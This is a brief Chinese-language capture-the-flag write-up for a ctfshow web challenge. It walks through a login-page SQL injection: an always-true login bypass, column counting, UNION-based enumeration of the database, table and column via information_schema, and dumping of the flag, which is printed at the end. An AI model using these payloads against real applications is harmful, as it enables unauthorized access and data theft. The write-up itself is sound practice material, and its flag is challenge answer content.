打开环境是一个登入页面, 题目提示:最简单的SQL注入,那么先试一试万能密码登入
' or 1=1#
密码随便输
存在回显,直接sql注入
' or 1=1 order by 3#
正常回显,爆到4时不回显
' or 1=1 order by 4#
开始爆库名 ,先看看是哪个位置会回显
' or 1=1 union select 1,2,3#
发现是可以不用输密码的
' or 1=1 union select 1,database(),3#
得到库名:web2
爆表名
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 #
flag
爆字段
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3#
还是flag
查询数据
' or 1=1 union select 1,(select flag from flag limit 0,1),3#
ctfshow{4618b702-3dfc-48ff-930e-02b2350f0385}